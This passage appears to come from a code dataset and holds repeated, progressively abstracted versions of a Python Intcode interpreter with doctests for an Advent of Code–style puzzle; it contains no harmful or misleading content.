o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\tdef __init__(self, mem, ptr):\n\t\tsuper().__init__(mem, ptr, 1, 4)\n\t\tself.__first = self.get_val(1)\n\t\tself.__second = self.get_val(2)\n\t\tself.__res = mem[ptr+3]\n\n\tdef run(self):\n\t\tself.memory[self.__res] = self.__first + self.__second\n\t\treturn True\n\n\tdef params(self):\n\t\treturn {'noun':self.__first, 'verb':self.__second, 'result':self.__res}\n\n\tdef reads(self):\n\t\treturn [self.__first, self.__second]\n\n\tdef writes(self):\n\t\treturn self.__res\n\n\tdef op(self):\n\t\treturn \"+\"\n\n\tdef __str__(self):\n\t\treturn \"loc[%d] = %d + %d\"%(self.__res,self.__first,self.__second)\n\nclass Opcode2(Opcode):\n\t\"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\tdef __init__(self, mem, ptr):\n\t\tsuper().__init__(mem, ptr, 2, 4)\n\t\tself.__first = self.get_val(1)\n\t\tself.__second = self.get_val(2)\n\t\tself.__res = mem[ptr+3]\n\n\tdef run(self):\n\t\tself.memory[self.__res] = self.__first * self.__second\n\t\treturn True\n\n\tdef params(self):\n\t\treturn {'noun':self.__first, 'verb':self.__second, 'result':self.__res}\n\n\tdef reads(self):\n\t\treturn [self.__first, self.__second]\n\n\tdef writes(self):\n\t\treturn self.__res\n\n\tdef op(self):\n\t\treturn \"*\"\n\n\tdef __str__(self):\n\t\treturn \"loc[%d] = %d * %d\"%(self.__res,self.__first,self.__second)\n\nclass Opcode99(Opcode):\n\t\"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\tdef __init__(self, mem, ptr):\n\t\tsuper().__init__(mem, ptr, 99, 1)\n\n\tdef run(self):\n\t\treturn False\n\n\tdef params(self):\n\t\treturn {}\n\n\tdef reads(self):\n\t\treturn []\n\n\tdef writes(self):\n\t\treturn None\n\n\tdef op(self):\n\t\treturn \"HALT\"\n\n\tdef __str__(self):\n\t\treturn \"HALT\"\n\ndef default_ops():\n\treturn {1:Opcode1,2:Opcode2,99:Opcode99}\n\nclass Interpreter(object):\n\tdef __init__(self, input_code, ops=default_ops()):\n\t\tself.__memory = input_code\n\n\t\tself.__ops = ops\n\t\tself.__ptr = 0\n\t\tself.__running = True\n\t\tself.length = len(self.__memory)\n\n\tdef stepi(self):\n\t\to = None\n\t\tif self.__running:\n\t\t\to = self.next_op()\n\t\t\tself.__running = o.run()\n\t\t\tchk,val = o.set_ptr()\n\t\t\tif chk:\n\t\t\t\tself.__ptr = val\n\t\t\telse:\n\t\t\t\tself.__ptr += o.ptr_inc()\n\t\treturn o\n\n\tdef run(self):\n\t\twhile self.__running:\n\t\t\tself.stepi()\n\n\tdef inspect(self,loc):\n\t\treturn self.__memory[loc]\n\n\tdef next_op(self):\n\t\treturn self.op_at(self.__ptr)\n\n\tdef op_at(self, ptr):\n\t\treturn self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n\tdef __str__(self):\n\t\tstrs = []\n\t\tfor i,v in enumerate(self.__memory):\n\t\t\tif i == self.__ptr:\n\t\t\t\tstrs.append(\"{:*>4}\".format(v))\n\t\t\telse:\n\t\t\t\tstrs.append(\"{:>4}\".format(v))\n\t\treturn \",\".join(strs) + \"\\n\" + \"Next:\\n\\t\" + str(self.next_op())\n\n\tdef poke(self,loc,val):\n\t\tself.__memory[loc] = val\n\n\tdef rebind(self,code,call):\n\t\tself.__ops[code] = call\n\n\tdef as_opcodes(self):\n\t\tops = [self.op_at(0)]\n\t\tptr = ops[-1].ptr_inc()\n\t\twhile ops[-1].op() != \"HALT\":\n\t\t\tops.append(self.op_at(ptr))\n\t\t\tptr += ops[-1].ptr_inc()\n\t\treturn ops\n\nclass ValueNode(object):\n\tdef __init__(self,val,tag=''):\n\t\tself.__val = val\n\t\tself.__tag = tag\n\n\tdef __str__(self):\n\t\treturn self.__tag + str(self.__val)\n\nclass OpNode(object):\n\tdef __init__(self,op,depends):\n\t\tself.__op = op\n\t\tself.__depends = depends\n\n\tdef __str__(self):\n\t\treturn \"(\" + self.__op.op().join([str(i) for i in self.__depends]) + \")\"\n\nclass OpcodeTreeBuilder(object):\n\tdef __init__(self, interp):\n\t\tself.__interpreter = interp\n\t\tself.__codes = interp.as_opcodes()\n\n\tdef construct_mappings(self):\n\t\tfor i in self.__codes:\n\t\t\tparams = i.params()\n\t\t\tif 'result' in params.keys():\n\t\t\t\tif params['result'] not in self.__writes_to.keys():\n\t\t\t\t\tself.__writes_to[params['result']] = []\n\t\t\t\tself.__writes_to[params['result']].append(i)\n\t\t\tif 'noun' in params.keys():\n\t\t\t\tif params['noun'] not in self.__reads_from.keys():\n\t\t\t\t\tself.__reads_from[params['noun']] = []\n\t\t\t\tself.__reads_from[params['noun']].append(i)\n\t\t\tif 'verb' in params.keys():\n\t\t\t\tif params['verb'] not in self.__reads_from.keys():\n\t\t\t\t\tself.__reads_from[params['verb']] = []\n\t\t\t\tself.__reads_from[params['verb']].append(i)\n\n\tdef construct_graph(self):\n\t\top = self.__interpreter.op_at(0)\n\t\treads = [ValueNode(self.__interpreter.inspect(i),tag=\"raw%d_\"%(i)) for i in op.reads()]\n\t\twrites = op.writes()\n\t\tbase = OpNode(op,reads)\n\t\tptr = op.ptr_inc()\n\t\tlast_write = {}\n\t\tif writes:\n\t\t\tlast_write[writes] = base\n\t\twhile op.op() != \"HALT\":\n\t\t\top = self.__interpreter.op_at(ptr)\n\t\t\tif op.op() == \"HALT\":\n\t\t\t\tbreak\n\t\t\tdepends = []\n\t\t\tfor i in op.reads():\n\t\t\t\tif i in last_write.keys():\n\t\t\t\t\tdepends.append(last_write[i])\n\t\t\t\telse:\n\t\t\t\t\tdepends.append(ValueNode(self.__interpreter.inspect(i)))\n\t\t\tbase = OpNode(op,depends)\n\t\t\tif op.writes():\n\t\t\t\tlast_write[op.writes()] = base\n\t\t\tptr += op.ptr_inc()\n\t\treturn base\n\nif __name__=='__main__':\n\timport doctest\n\tdoctest.testmod()\n\n#################################################\n\n#\ti = Interpreter(file_to_code(\"day2_input.txt\"))\n#\ti.run()\n#\ti.inspect(0)\n", "def file_to_code(fname):\n mem = []\n for line in open(fname, 'r'):\n mem.extend([int(i) for i in line.split(',')])\n return mem\n\n\nclass Opcode(object):\n\n def __init__(self, mem, ptr, code, inc):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o._Opcode__par_modes\n\t\t[0, 1]\n\t\t\"\"\"\n if mem[ptr] % 100 != code:\n raise Exception('Creating Opcode%d for opcode %d' % (code, mem[\n ptr]))\n self.memory = mem\n self.ptr = ptr\n self.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr] /\n 100))]))\n self.__ptr_inc = inc\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n\n def reads(self):\n raise Exception('Call to base class reads()')\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n\n def params(self):\n raise Exception('Call to base class params()')\n\n def run(self):\n raise Exception('Call to base class run()')\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\ndef default_ops():\n return {(1): Opcode1, (2): Opcode2, (99): Opcode99}\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n", "def file_to_code(fname):\n mem = []\n for line in open(fname, 'r'):\n mem.extend([int(i) for i in line.split(',')])\n return mem\n\n\nclass Opcode(object):\n\n def __init__(self, mem, ptr, code, inc):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o._Opcode__par_modes\n\t\t[0, 1]\n\t\t\"\"\"\n if mem[ptr] % 100 != code:\n raise Exception('Creating Opcode%d for opcode %d' % (code, mem[\n ptr]))\n self.memory = mem\n self.ptr = ptr\n self.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr] /\n 100))]))\n self.__ptr_inc = inc\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n\n def reads(self):\n raise Exception('Call to base class reads()')\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n\n def params(self):\n raise Exception('Call to base class params()')\n\n def run(self):\n raise Exception('Call to base class run()')\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\ndef default_ops():\n return {(1): Opcode1, (2): Opcode2, (99): Opcode99}\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "def file_to_code(fname):\n mem = []\n for line in open(fname, 'r'):\n mem.extend([int(i) for i in line.split(',')])\n return mem\n\n\nclass Opcode(object):\n\n def __init__(self, mem, ptr, code, inc):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o._Opcode__par_modes\n\t\t[0, 1]\n\t\t\"\"\"\n if mem[ptr] % 100 != code:\n raise Exception('Creating Opcode%d for opcode %d' % (code, mem[\n ptr]))\n self.memory = mem\n self.ptr = ptr\n self.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr] /\n 100))]))\n self.__ptr_inc = inc\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n\n def reads(self):\n raise Exception('Call to base class reads()')\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n\n def params(self):\n raise Exception('Call to base class params()')\n\n def run(self):\n raise Exception('Call to base class run()')\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n\n def __init__(self, mem, ptr, code, inc):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o._Opcode__par_modes\n\t\t[0, 1]\n\t\t\"\"\"\n if mem[ptr] % 100 != code:\n raise Exception('Creating Opcode%d for opcode %d' % (code, mem[\n ptr]))\n self.memory = mem\n self.ptr = ptr\n self.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr] /\n 100))]))\n self.__ptr_inc = inc\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n\n def reads(self):\n raise Exception('Call to base class reads()')\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n\n def params(self):\n raise Exception('Call to base class params()')\n\n def run(self):\n raise Exception('Call to base class run()')\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n 